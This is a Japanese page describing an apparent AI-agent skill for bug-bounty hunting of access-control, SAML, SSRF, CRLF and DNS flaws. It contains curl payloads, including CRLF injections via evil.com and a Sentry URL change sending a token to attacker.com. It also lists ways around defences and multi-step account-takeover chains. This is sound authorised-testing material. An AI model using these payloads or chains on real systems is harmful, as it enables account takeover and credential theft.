hunt-misc について
hunt-miscは、アクセス制御、情報漏えい、認証ロジック、設定不備を対象とするセキュリティテスター向けの脆弱性調査ガイドです。ロール境界、トークン、招待、SSO、DNS、設定項目を調べる手順をまとめています。
主な機能
- 01ロールと権限の境界整理
- 02招待、ユーザー削除、トークンスコープの検証
- 03テナント間アクセスと内部APIの確認
- 04SAML、パスワードリセット、本人確認フローの評価
- 05SSRF、ヘッダーインジェクション、DNS設定不備の調査
活用シーン
- 01SaaSプラットフォームのロールベースアクセス監査
- 02ユーザー削除後のセッションとトークン権限の確認
- 03招待とパスワードリセットの安全性検証
- 04連携URLとパッケージプロキシ設定の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-miscインストール後、Claude Code で/hunt-miscを入力して読み込まれたか確認します。
詳細
高価値な標的
この脆弱性クラスで高額な報奨金が支払われる理由: MISC 脆弱性には、アクセス制御の不備、情報漏えい、セッション/認証ロジックのバグ、設定ミスが含まれます。これらのカテゴリーは、データ露出、アカウント乗っ取り、権限昇格、インフラ侵害といったビジネスへの影響に直結するため、常に最高額の報奨金につながります。
最も価値の高い標的:
- ロール階層を持つ SaaS プラットフォーム(Shopify、GitHub、GitLab)— オーナー/管理者/スタッフ/ゲスト間の境界は、いずれも権限昇格の攻撃対象になります
- ID/認証フロー — 招待リンク、パスワードリセット、SAML SSO、OAuth トークンのスコープ
- マルチテナントシステム — あるテナントが別のテナントのデータにアクセスできること
- 内部 API — LFS エンドポイント、pre-receive フック、呼び出し元が信頼できると想定する内部 GraphQL/REST
- ドメイン/DNS 管理機能 — 移管制御、サブドメイン委任
- トークン/認証情報の管理 — PAT のスコープ、デプロイキー、設定フィールドに保存された API トークン
最も高額な報奨金が見込めるアセットの種類:
- 中核製品の API(マーケティング用サブドメインではありません)
- エンタープライズ版/セルフホスト版(GitHub Enterprise、GitLab EE)
- パートナー/コラボレーターの招待システム
- OAuth アプリの連携機能と Webhook エンドポイント
攻撃対象領域を示すシグナル
注目すべき URL パターン:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*
レスポンスヘッダーのシグナル:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*
内部の攻撃対象領域を明らかにする JS パターン:
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs
技術スタックのシグナル:
- Ruby/Rack ミドルウェア(
pitchforkにおける CRLF インジェクションのリスク) - エンタープライズインスタンスで有効になっている SAML SSO
- PyPI プロキシ/ミラーの設定(依存関係の混乱)
- Sentry エラートラッキング連携フィールド(SSRF/トークン漏えいの経路)
- 複数のロールに対応した招待システム(パートナー、スタッフ、コラボレーター)
手順に沿ったハンティング方法
-
すべてのロール/権限の境界をマッピングする — すべてのロールレベル(owner → admin → staff → guest → removed)を列挙し、各ロールが本来どの情報を見られるべきかを記録します
マーカーの運用規則: ロール境界を調査するため、ロールごとのテストデータに一意のトークン/識別子を挿入する場合、マーカーには一意なランダム英数字文字列(8文字以上、英単語やプロトコルキーワードは使用しないでください)を必ず使用します。悪いマーカー:
test、marker、attacker、evil、admin、AAAA。良いマーカー:cpmark987abc、x4hd2k9pq。何らかの反映を主張する前に、ベースライン(マーカーなし)のレスポンスにそのマーカーが含まれていないか検索してください。自然に含まれている場合は、マーカーを変更します。本文差分のルール: 権限バイパスの主張には、ステータスコードだけではなくレスポンス本文の差分が必要です。ステータスコードが200 OKでも、本文がベースラインとバイト単位で同一なら、バイパスではありません。バイパスを主張する前に、必ず本文を並べて差分を確認してください。ステータスコードだけを根拠とする主張は、バグ報奨金プラットフォームで「N/A」として却下される最も一般的なケースです。
-
招待フローを最初から最後までテストする — 検証手順を完了せずに招待を承諾し、招待トークンを変更して、別のユーザーとして招待を承諾した場合にアクセス権が付与されるかテストします
-
削除後のアクセスをテストする — ユーザーをリソースに追加してから削除し、そのセッション/トークンで引き続きアクセスできるかテストします(特に会社/組織から削除した後)
-
トークンのスコープ適用をファジングする — スコープを最小限、またはスコープなしにして PAT/トークンを作成し、より高い権限のスコープが本来必要な API エンドポイントを呼び出します
-
テナント間のリソースアクセスをテストする — テナント A として、ID、パス、またはヘッダーを操作し、テナント B のリソースを読み取り/書き込みできるか試します
-
内部/非公開の API エンドポイントを調査する — LFS エンドポイント、内部 GraphQL 操作、pre-receive フック環境、Webhook 配信ログを探します
-
SAML/SSO のロジックを確認する — 署名を削除する、NameID を変更する、アサーションをリプレイする、XML 名前空間を操作するなどして、署名検証をバイパスできるかテストします
-
SSRF/トークン流出につながる設定フィールドを監査する — 管理者設定にある URL フィールド(Sentry DSN、Webhook URL、プロキシ URL)は、SSRF や認証情報漏えいにつながる可能性があります
-
パスワードリセットとメール認証のフローをテストする — メール認証の手順を省略し、リセットトークンが単一ユーザーに限定されているか、トークンを再利用できるかテストします
-
HTTP ヘッダーインジェクションのポイントを確認する — Ruby/Rack ミドルウェアを通じてレスポンスヘッダーに渡される、ユーザーが制御可能な入力を調べます。CRLF シーケンスをテストします
-
DNS/サブドメインの衛生状態を確認する — サブドメインを列挙し、切り離された CNAME レコードがないか確認し、SPF/DMARC/DKIM レコードを検証します
-
パッケージレジストリプロキシの設定をテストする — 公開レジストリ(PyPI、npm、RubyGems)への転送リクエストを通じた依存関係の混同を調べます
ペイロードと検出パターン
CRLF/ヘッダーインジェクション(Ruby Net::HTTP、Rack/pitchfork):
# Test CRLF in header values
curl --max-time 30 --connect-timeout 10 -v "https://target.com/path" \
-H $'X-Custom: value\r\nInjected-Header: evil'
# URL-encoded variant
curl --max-time 30 --connect-timeout 10 -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl --max-time 30 --connect-timeout 10 -v "https://shop.[SHOPIFY_STORE]/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"
招待バイパスによる権限昇格:
# Accept invitation without email verification
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
-H "Cookie: session=UNVERIFIED_SESSION" \
-d '{"role":"admin"}'
# Test invitation token for another user
curl --max-time 30 --connect-timeout 10 -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
-H "Cookie: session=VICTIM_SESSION"
トークンのスコープバイパス(GitHub/GitLab PAT):
# Call privileged endpoint with minimal-scope token
curl --max-time 30 --connect-timeout 10 -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
"https://api.github.com/repos/org/private-repo/issues"
# Test suspended installation access
curl --max-time 30 --connect-timeout 10 -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"
設定 URL フィールド経由の SSRF(Sentry 統合):
# Change Sentry URL to internal listener
curl --max-time 30 --connect-timeout 10 -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'
ReDoS の検出:
# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
# Timing-based detection
time curl --max-time 30 --connect-timeout 10 "https://target.com/search?q=aaaa" # baseline
time curl --max-time 30 --connect-timeout 10 "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"
ソース調査用の grep パターン:
# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"
切り離されたサブドメイン/DNS の確認:
# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl --max-time 30 --connect-timeout 10 -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate
# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing risk
よくある根本原因
-
権限の無効化を伴わない論理削除 — ユーザーを組織から削除しても、削除済みとしてマークされるだけで、アクティブなセッションやキャッシュされた権限チェックは無効化されません。そのため、後続の API 呼び出しでも古い認証コンテキストが引き続き有効になります。
-
検証ゲートを設けない招待の承認 — 開発者は、メールを受け取ったユーザーは正当なユーザーだと想定して、楽観的に招待フローを実装し、別のセッションでトークンが使用されたときの再検証を省略します。
-
トークンのスコープを発行時にのみチェックし、使用時にはチェックしない — PAT/OAuth のスコープはトークン作成時に検証されますが、各 API エンドポイントのハンドラーではスコープを再チェックせず、隙があるかもしれないミドルウェアを信頼します。
-
ロールベースのアクセス制御を UI 層のみでチェックする — フロントエンドでは制限されたロールのボタンを非表示にしますが、バックエンドの API エンドポイントでは同じ制限を適用しません。そのため、API を直接呼び出せば UI の制限を回避できます。
-
SAML の XML パースにおける癖 — 署名がドキュメントの一部しか対象にしていない場合や、XML の正規化方式の違いによって署名されていないコンテンツが検証を通過する場合があります。また、名前空間プレフィックスを使った攻撃もあります。
-
設定/URL フィールドを内部向けとして信頼する — インテグレーションの URL フィールド(Sentry、webhook)は信頼できる管理者のみが設定できると思い込んでいますが、メンテナー権限を持つロールが値を変更してトークンを外部へ流出させる可能性があります。
-
文字列補間による Ruby のヘッダーインジェクション — 開発者が改行をサニタイズせず、文字列連結で HTTP レスポンスヘッダーを構築します。Rack 3 の動作変更によって、以前は表面化していなかったバグが露呈しました。
-
すべてのリクエストを上流へ転送するプロキシ/ミラーの設定 — パッケージレジストリが、どのパッケージが内部専用かを制限せずにパブリックレジストリへフォールバックするよう設定されており、依存関係の混乱攻撃が可能になります。
-
特権コンテキストを公開する pre-receive フックの環境 — フックスクリプトが、ユーザーにアクセスさせるべきではない内部環境変数、git 内部情報、SSH キーにアクセスできる状態で実行されます。
-
マルチデバイスのセッション設計とセッション固定の混同 — エンジニアが有効期限のないトークンを発行して「デバイス間でログイン状態を維持」しようとし、永続的なアクセスリスクを生み出しているにもかかわらず、これを機能として扱います。
-
サーバーポリシーによるレスポンスを、状態ベースのオラクルと誤認する — 多数の異なるパス種別に同じレスポンス形式が返される場合は、実際のファイル/ユーザー/リソースの存在を判定するオラクルではなく、サーバー側のブロックリストやポリシーフィルターを疑ってください。エンジニアが「
.config/.ashx/.asmx/.svcで終わるパスをすべてブロックする」といった一律のフィルターを追加し、対象ファイルの有無にかかわらず同じエラーを返すことがあります。「ブロックされた」ことから「ファイルが存在する」と推測してはいけません。独立したシグナル(Collaborator のコールバック、大規模なレスポンス時間の差、帯域外の確認)を使って検証してください。教訓:SharePoint のdownload.aspx?SourceUrl=は、対象ファイルの有無にかかわらず、.ashx/.asmx/.svc/.configの拡張子に対して"blocked from this Web site by the server administrators"を返しました。ファイルの存在を判定するオラクルのように見えましたが、実際は拡張子のブロックリストでした。前者だと判断した結果、実際には存在しない「発見したカスタマー向けブランド名付きエンドポイント」のリストが作られました。
回避手法
防御側の緩和策とその回避方法:
| 防御策 | 回避方法 |
|---|---|
| 招待時のメール認証 | 認証手順が完了する前に別のセッションでトークンを受け入れます。トークンが単回使用か複数回使用かをテストします |
| API エンドポイントでのロールチェック | 代替の API バージョン(/v3/ と /v4/ など)、GraphQL エイリアス、またはミドルウェアを通らない内部エンドポイントを探します |
| SAML 署名の検証 | 署名要素を完全に削除します。XML 名前空間の混乱を利用します。署名されていない追加の Assertion 要素を挿入します |
| PAT のスコープ適用 | コレクションレベルではスコープをチェックしても、個々のサブリソースではチェックしないエンドポイントを探します。レガシー API バージョンをテストします |
| ユーザー削除時のトークン失効 | 組織レベルでは失効しても、アプリ/インストールレベルでは失効しない場合があります。インストールをまたいだトークンの再利用をテストします |
| ヘッダー値の入力サニタイズ | %0d%0a、\r\n、\u000d\u000a、CRLF が後続するヌルバイトを試します。ミドルウェアのバージョン固有の解析をテストします |
| 内部 API のローカルホスト限定 | SSRF のベクトル(Sentry URL、Webhook URL)を探し、サーバーに代わりに内部エンドポイントを呼び出させます |
| ReDoS 対策の正規表現強化 | 異なるアンカー位置を試します。# がパッチ済みなら、バックトラッキングを引き起こす ?、%、その他の RFC 特殊文字を試します |
| 依存関係の固定 | パッケージ名を少し変える(タイポスクワッティング)か、公開レジストリに公開されていない内部パッケージ名を標的にします |
| サブドメインの所有権検証 | ホスティングプロバイダーのアカウント削除を監視します。Certificate Transparency ログを使って、所有者のいないサブドメインを探します |
ゲート 0 の検証
レポートを作成する前に、次の3つの質問に答えてください。
-
攻撃者は今、何ができますか?
具体的な行動でなければなりません。顧客の PII を読む、管理者ロールに昇格する、アカウントを乗っ取る、ドメイン資産を移転する、API トークンを持ち出す、レスポンスヘッダーを挿入する、などです。「潜在的に可能性がある」では不十分です。 -
被害者は何を失いますか?
実際の資産に結び付ける必要があります。顧客データ、アカウントの管理権、金融資産(ドメイン)、認証情報、コードリポジトリの内容、またはプラットフォームへの信頼です。「セキュリティのベストプラクティスが守られていない」は有効な回答ではありません。 -
ゼロから10分以内に再現できますか?
正確な手順を記述してください(特別なツールや、運に左右される競合状態は不要です)。既存の条件(例:すでにメンテナーである必要がある)が必要な場合は、明記したうえで、攻撃者が現実的にその条件を満たせることを確認してください。
実際の影響例
シナリオ A — 未検証のパートナー招待による権限昇格(Shopify クラス) 攻撃者が低権限ロール用のパートナー招待リンクを受け取ります。メール認証を完了する前に、別のアカウント(またはアカウントなし)で認証されたセッションで招待トークンを使用します。プラットフォームは本人確認を行わずに昇格したパートナーロールを付与するため、攻撃者はパートナーアカウント内のすべてのストアについて、加盟店のデータへのアクセス、アプリのインストール、ストア設定の変更が可能になります。ビジネスへの影響:正当な関係が成立していないにもかかわらず、数百の加盟店ストアにパートナーレベルで完全にアクセスされます。
シナリオ B — 削除後も続くテナント間データへのアクセス(Shopify/GitLab クラス) 権限が制限されたスタッフメンバーが、トラブルを受けて会社アカウントから削除されます。メンバーシップテーブルだけが更新され、セッションストアが更新されないため、そのセッショントークンは有効なままです。元従業員は、解雇後も数日から数週間にわたり、直接 API を呼び出して顧客の PII、注文データ、財務レポートにアクセスし続けます。ビジネスへの影響:GDPR/CCPA 違反のリスク、恐喝に利用される可能性、競争上の情報の窃取。
シナリオ C — SAML 署名のバイパスによるアカウント乗っ取り(GitHub Enterprise クラス)
SAML SSO が有効な GitHub Enterprise インスタンスを標的とする攻撃者が、Signature 要素を削除するか、重要度の低いアサーション属性だけを対象とするよう移動した SAML レスポンスを細工します。XML パーサーはドキュメントを有効なものとして受け入れ、署名対象のサブ要素が正しく検証されるため、署名検証も成功します。一方、署名されていない部分の NameID(ユーザー名/メールアドレス)には、被害者である管理者アカウントが設定されています。攻撃者は、パスワードも MFA も知らずに被害者として認証されます。ビジネスへの影響:エンタープライズ内のすべてのプライベートリポジトリ、CI/CD シークレット、GitHub Actions ワークフローへの管理者権限による完全なアクセス。
チェーンと組み合わせ(シニア向けハンティング)
チェックリストでは、バグを一つずつ探す方法を示します。シニアレベルの作業では、プリミティブを組み合わせて、影響に至る複数段階のエンゲージメントを構成します。以下の各チェーンは、このスキルの手法と根本原因に含まれる既存のプリミティブを、隣接するスキルの二次プリミティブと組み合わせて構成しています。すべてに共通するパターンは、影響をもたらすのは二次プリミティブであるという点です。単独のソフトデリート IDOR は該当しませんが、無効化処理のないセッションストアと組み合わせると、深刻度は「高」になります。
チェーン 1 — ソフトデリート+削除後のセッション永続化 → テナントをまたぐ PII
- A.
active=falseフラグへの切り替えやメンバーシップ行の削除は行うものの、ユーザーのセッションを無効化したり、発行済みトークンを取り消したりしない「メンバーの削除」エンドポイントを特定します(根本原因 #1:権限を無効化しないソフトデリート)。 - B. 削除予定のスタッフメンバーとしてログインし、セッション Cookie/PAT を取得します。
- C. 組織の管理者に通常のフローでユーザーを削除してもらい、しばらく待ちます。取得したトークンを使って、同じ API 呼び出し(
GET /admin/orders、GET /admin/payouts、GET /admin/customers)を再度実行します。 - 影響: 古い認証コンテキストでキャッシュされた権限チェックが通るため、削除後も数日から数週間にわたって API 呼び出しが成功し続けます。GDPR/CCPA 違反のリスク、恐喝に利用される可能性、競争上の情報の窃取。
- 実際の事例: Shopify のスタッフ削除後のセッション永続化クラス(2022 年)、GitLab の削除後もキャッシュされた権限が残るクラス。
hunt-atoの Path 5(セッションフィクセーション)と組み合わせます。
チェーン 2 — 招待トークンの再利用+検証の省略 → 特権ロールの注入
- A. 対象の低権限ロールへの招待リンクを受け取ります。
- B. メール認証を完了する前に、別のセッション(シークレットブラウザー/匿名リクエスト)から招待トークンを POST します。
- C. サーバーは、トークンを使用するセッションが招待先のメールアドレスと一致するか再検証せずに招待されたロールを付与します。新しい ID が招待の権限範囲を継承します。
- 影響: 招待先のメールアドレスを所有していなくても、権限を昇格した足掛かりを得られます。パートナーポータルへの招待(パートナー階層のロールが下位の数百のマーチャントを管理する場合)では、Shopify Partners クラスの重大な問題です。
- 実際の事例: 2020〜2022 年の Shopify Partners に関する H1 開示複数件(根本原因 #2)。
hunt-auth-bypassのステップ 7(招待フローの検証)と関連します。
チェーン 3 — Ruby ヘッダー内の CRLF+キャッシュポイズニング → CDN 規模の大規模な保存型 XSS
- A. Ruby の
Net::HTTP/Rack レスポンスヘッダーにある CRLF インジェクションを特定します。ユーザーが制御する値がLocation:またはカスタムのX-*ヘッダーに流れ込みます(根本原因 #7:文字列補間による Ruby ヘッダーインジェクション)。 - B.
%0d%0aSet-Cookie: session=attacker、または CDN 階層間のキャッシュキー正規化を汚染する重複したCache-Control: public, max-age=3600を注入します。 - C. キャッシュは汚染されたレスポンスを max-age の全期間にわたって保存します。影響を受ける地域の CDN エッジを訪れたすべてのユーザーに、攻撃者の
Set-Cookieまたは攻撃者が制御する本文が配信されます。 - 影響: CDN 全体におよぶ顧客間 XSS/セッション固定。キャッシュの TTL が切れるまで持続し、そのパスへのすべての訪問者に影響します。
- 実際の事例: GitLab の CRLF+キャッシュポイズニングの連鎖(H1 #1160407/Iustin Ladunca、2021 年);Rack 3 の動作変更に関するエコシステムアドバイザリ(2022〜2023 年)。
hunt-cache-poisonの引用 #7 および #10(Akamai のホップバイホップクラス)と関連します。
チェーン 4 — SAML XSW+パーサーの差異 → 管理者クレームの注入 → SSO ATO
- A. 正規の認証フローを通じて、有効な SAMLResponse を取得します(
/saml/acsまたは/Shibboleth.ssoへの POST 本文でSAMLResponse=を Burp でフィルターします)。 - B.
<Assertion>要素を兄弟として挿入し、署名検証用の XML パーサー(REXML/Xerces)が、業務ロジック用の XML パーサー(Nokogiri/JAXP)とは異なるノードを解決するようにします。外側の無害な Assertion に署名し、署名されていない内側の Assertion に<NameID>admin@victim</NameID>を埋め込みます。 - C. SP は外側の要素に対する署名を検証し、SP の業務ロジックは内側の要素を読み取ります。その結果、パスワードも MFA も必要とせずに管理者ロールが適用されます。
- 影響: 企業の SSO が完全に侵害されます。SAML で保護されたすべてのアプリで、セッションの有効期間中、偽装された管理者 ID が引き継がれます。
- 実際の事例: GitHub Enterprise CVE-2025-25291/CVE-2025-25292(パーサーの差異、2025 年);samlify CVE-2025-47949。
hunt-auth-bypassの Disclosed Report Citation #5 および #7、ならびに根本原因 #5(SAML XML 解析の癖)を相互参照してください。
チェーン 5 — トークンのスコープを発行時に確認し、使用時には確認しない → 低スコープ PAT によるテナント間書き込み
- A.
read:userスコープのみを持つパーソナルアクセストークン/OAuth トークンを作成します。GET /api/me/tokensで確認します。 - B.
write:*が必要なはずの書き込みエンドポイント(例:DELETE /repos/{org}/{repo}/issues/{n})を呼び出します。サーバーはミドルウェアで「認証済みか」を確認しますが、個々のハンドラーは PAT のスコープの部分集合を再確認しません。 - C. トークンが読み取り専用にもかかわらず、書き込み操作が成功します。
- 影響: PAT のスコープモデルが実質的に機能していません。影響を受けるエンドポイントでは、すべての読み取り専用トークンが書き込み可能なトークンと同等になります。漏洩した PAT を持つ者なら誰でも、全ユーザーを対象に大規模に悪用できます。
- 実際の事例: GitHub の「PAT のスコープは使用時ではなく発行時に確認」クラス(根本原因 #3)。ステップ 4(PAT スコープ強制のファジング)および
hunt-api-misconfigの JWT スコープバイパスと関連します。
チェーン 6 — OAuth の redirect_uri 許可リストにおけるサブドメイン乗っ取り → 認証コードの窃取 → ATO
- A.
/oauth/authorizeフローを使って OAuth のredirect_uri許可リストを列挙し、静的リストにワイルドカード*.target.comまたは乗っ取り候補のホスト名がないか確認します。 - B. 乗っ取り可能なサブドメインを見つけます(
legacy.target.comが、削除済みの Vercel プロジェクト/Heroku アプリ/S3 バケットを指す CNAME —hunt-subdomainのステップ 1)。 - C. サブドメインを取得し、OAuth コールバック受信エンドポイントをホストします。被害者を
/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...に誘導します。認証コードは攻撃者のホストに届きます。トークンエンドポイント経由で交換します。ATO。 - 影響: 影響を受けるクライアントで OAuth フローが実行されるたびに、ワンクリックで永続的に ATO を実行できます。
- 実際の事例: Microsoft Azure DevOps の
cloudapp.azure.comとワイルドカード*.visualstudio.comの reply_to チェーン(Binary Security、2022 年 11 月)。相互参照先はhunt-subdomainDisclosed Report Citation #12 です。
オペレーター向けのパターン
A で一般的なプリミティブを確認したら、すぐに次の点を考えてください。どのステートマシン、キャッシュレイヤー、関連エンドポイント、または認証状態の不整合によって影響を増幅できるでしょうか。最初のプリミティブは侵入の足掛かりです。チェーンこそが成果物です。このバンドルの Workstream-A の各スキルの引用は、少なくとも 1 つの上記チェーンの形と対応しています。
hunt-auth-bypass— チェーン 2、4、5hunt-cache-poison— チェーン 3hunt-saml— チェーン 4hunt-subdomain— チェーン 6hunt-ato— チェーン 1、2、5、6(すべて最終的な影響につながるパス)
検証
このセルフテストを実行し、一般的な脆弱性の調査に対応できることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。
grep -q "name: hunt-misc" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が文書化されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つすべてのテストで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- 範囲を広げすぎて調査する — 「misc」は何でも含む分類であり、手法ではありません。具体的なバグの種類を選び、深く調査してください。
- 情報提供レベルの発見事項を Medium として報告する — セキュリティヘッダー(CSP、HSTS)の欠落、Cookie のフラグ(HttpOnly、Secure)、ディレクトリ一覧表示は情報提供レベルです。
- CVE を伴わないバージョン情報の開示 — 該当する CVE がないサーバーバージョンが判明しても、脆弱性にはなりません。
- 影響のない HTTP メソッドの有効化 — OPTIONS、TRACE、PUT、DELETE が有効でも、無害なエンドポイントに制限されていれば情報提供レベルです。
関連スキルとチェーン
hunt-saml— SAML 署名ラッピング(XSW1–XSW8)は、代表的な「一般的な認証」の重大な問題です。チェーンのプリミティブ:SAML XSW とhunt-samlAttributeStatement インジェクション → NameID の差し替え → パスワード不要の SSO による被害者の管理者アカウントの ATO。hunt-business-logic— 一般的なロール/権限の不整合バグは、ビジネスロジックのステートマシンの欠陥と重なることがあります。チェーンのプリミティブ:ビジネスロジック(検証前の招待)と、本人確認を伴わないロール割り当て → テナントの乗っ取り。hunt-auth-bypass— セッション失効の不備や古いトークンの問題は、純粋な認証バイパスのプリミティブです。チェーンのプリミティブ:削除されたユーザーがセッショントークンを保持 →hunt-auth-bypass→ 退職後のデータ流出と永続的なアクセス。hunt-ato— 一般的な認証バグの多くは、アカウント乗っ取りにつながります。チェーンのプリミティブ:署名の削除/NameID インジェクションとhunt-atoPath 6(JWT/SAML 操作) → 企業全体にわたる管理者アカウントの ATO。security-arsenal— SAML Raider のペイロードパック、セッション失効プローブのチェックリスト、および Always-Rejected リスト(認証におけるレート制限、理論上の問題、機密性の高い PII を伴わないユーザー列挙)を読み込みます。triage-validation— 7-Question Gate と Body-Diff Rule を適用します。一般的なバグは N/A 判定が最も多いカテゴリです。状態の不整合を主張するには、具体的なテナント間の読み取りや管理者操作の PoC が必要です。「API を呼び出せた」だけでは不十分です。